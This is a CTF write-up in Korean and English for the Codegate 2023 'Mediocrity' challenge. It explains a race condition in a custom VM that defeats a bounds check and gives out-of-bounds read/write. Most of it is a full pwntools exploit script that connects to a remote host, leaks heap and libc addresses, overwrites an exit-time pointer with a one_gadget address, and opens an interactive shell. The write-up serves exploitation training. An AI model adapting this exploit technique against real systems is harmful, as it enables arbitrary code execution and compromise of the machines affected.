[CTF write up] codegate CTF 2023 general - Mediocrity : Race Condtion in VM

2023. 6. 18. 10:21CTF write up

 

 

 

 

 

 

ida

취약점은 매우 간단한다. Thread를 생성할때, mem을 포인터째로 복사해서 mem에서 Race condition이 발생한다. 

The vulnerability is very simple. When creating a thread, mem is copied as a pointer, so a race condition occurs in mem.

 

 

ida

opcode 중 mem을 참조하여 read / write 하는 부분이 있는데, 기본적으로는 boundary check가 잘 되어있지만, Race condition을 이용하면 Boundary check 이후 mem 값을 변경하여 OOB read / write를 할 수 있다.

There is a part of the opcode that reads/writes by referring to mem. Basically, the boundary check is done well, but if you use a race condition, you can change the mem value after the boundary check to perform OOB read/write.

 

 

free_hook이 없기 때문에 exit 후에 실행되는 포인터를 잘 찾아서 덮어야 한다. 아래의 글에서 이와 관련된 내용을 확인할 수 있다.

Since there is no free_hook, you need to find and overwrite the pointer executed after exit. You can find out about this in the article below.

https://uz56764.tistory.com/87

 

 

from pwn import *

#context.log_level = 'debug'
def op_calc(op,reg,num):
    if op=='+':
        op = 0
    elif op=='*':
        op = 2
    return p16(op) + p16(0x1) + p64(reg) + p64(num)

def op_sycall_1():
    return p16(0xf) + p16(0x0) + p64(0x0) + p64(0x0)

def op_sycall_2():
    return p16(0xf) + p16(0x3) + p64(0x0) + p64(0x0)

def call_1(rax, rdi, rsi, rdx): #9
    pay = b''
    pay += op_calc('*',0,0)
    pay += op_calc('+',0,rax)
    pay += op_calc('*',1,0)
    pay += op_calc('+',1,rdi)
    pay += op_calc('*',2,0)
    pay += op_calc('+',2,rsi)
    pay += op_calc('*',3,0)
    pay += op_calc('+',3,rdx)
    pay += op_sycall_1()
    return pay

def call_2(rax, rdi, rsi, rdx): #9
    pay = b''
    pay += op_calc('*',0,0)
    pay += op_calc('+',0,rax)
    pay += op_calc('*',1,0)
    pay += op_calc('+',1,rdi)
    pay += op_calc('*',2,0)
    pay += op_calc('+',2,rsi)
    pay += op_calc('*',3,0)
    pay += op_calc('+',3,rdx)
    pay += op_sycall_2()
    return pay

def jmp(idx): #1
    return p16(11) + p16(0x2) + p64(idx) + p64(0x0)

def jmp_true(idx): #1
    return p16(12) + p16(0x2) + p64(idx) + p64(0x0)

def jmp_false(idx): #1
    return p16(13) + p16(0x2) + p64(idx) + p64(0x0)

def thread(idx): #1
    return p16(14) + p16(0x2) + p64(idx) + p64(0x0)

#p = process("mediocrity")
p = remote("13.124.115.242", 1300)
#raw_input()

p.sendline(b'1')

pay = b''
pay += thread(13) #0

pay += op_calc('+',5,1) #1
pay += call_1(0,0,0,0x19) #2
pay += p16(10) + p16(1) + p64(5) + p64(4000) #cmp 11
pay += jmp_false(1) # 12

pay += op_calc('+',5,1) # 13
pay += call_2(1,0,8,16) # 14
pay += p16(10) + p16(1) + p64(5) + p64(600000) #cmp 23
pay += jmp_false(13) #24

p.sendline(str(len(pay)).encode())
p.send(pay)

#p.send(p64(1)+p64(0)+p64(0x100))

for i in range(0,2000-3):
    p.sendline(p64(1)+p64(0)+p64(0x0))
    p.sendline(p64(1)+p64(0)+p64(0x1000))
print("END")

heap_next_mem = u64(p.recvuntil([b'\x55',b'\x56'])[-6:].ljust(8,b'\x00')) + 0x5b0
lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = lic + 0xec9e0
banana = 0x4b12e0+libc_base #+0x3b2e0
print(f'heap_next_mem = {hex(heap_next_mem)}')
print(f'libc_base = {hex(libc_base)}')
print(f'banana = {hex(banana)}')

raw_input()

while(True):
    if b'volume :' in p.recvuntil(b'volume :',timeout=0.3):
        break
    p.sendline(b'1')

print("END 2")

pay = b''
pay += thread(13) #0

pay += op_calc('+',5,1) #1
pay += call_1(0,0,0,0x18) #2
pay += p16(10) + p16(1) + p64(5) + p64(0xffffffffffffffff) #cmp 11
pay += jmp(1) # 12

pay += op_calc('+',5,1) # 13
pay += call_2(0,0,8,16) # 14
pay += p16(10) + p16(1) + p64(5) + p64(3000000) #cmp 23
pay += jmp_false(13) #24
pay += call_1(2,0,0,0)

p.sendline(str(len(pay)).encode())
p.send(pay)

#p.send(p64(1)+p64(0)+p64(0x100))
for i in range(0,0x1000):
    p.send(p64(0)+p64(0)+p64(0))
    p.send(p64(0)+p64(banana-heap_next_mem)+p64(0x10))
    p.send(p64(banana - 0x8bf8 + 0x8)+p64(libc_base+0xebcf1))

print("END")

p.interactive()